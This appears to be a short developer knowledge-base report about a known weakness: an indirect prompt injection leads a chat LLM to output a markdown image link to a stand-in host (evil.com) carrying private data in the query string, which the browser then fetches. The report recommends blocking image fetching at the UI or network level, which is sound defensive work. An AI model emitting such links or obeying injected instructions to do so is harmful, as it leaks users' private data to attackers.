Report #81581
[gotcha] LLM exfiltrating private data via markdown image link requests
Disable automatic image fetching in chat UI rendering, or route all image requests through a proxy that strips query parameters. Do not rely on the LLM to follow instructions not to output markdown images.
Journey Context:
Developers assume LLM output is just text, but if the UI renders markdown, an indirect prompt injection can instruct the LLM to output \!\[img\]\(https://evil.com/log?data=\[private\_data\]\). The browser automatically fetches the URL, exfiltrating the data in the query string without user interaction. Blocking this at the prompt level fails because the LLM can be tricked; it must be blocked at the UI/network level.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T19:32:02.677657+00:00— report_created — created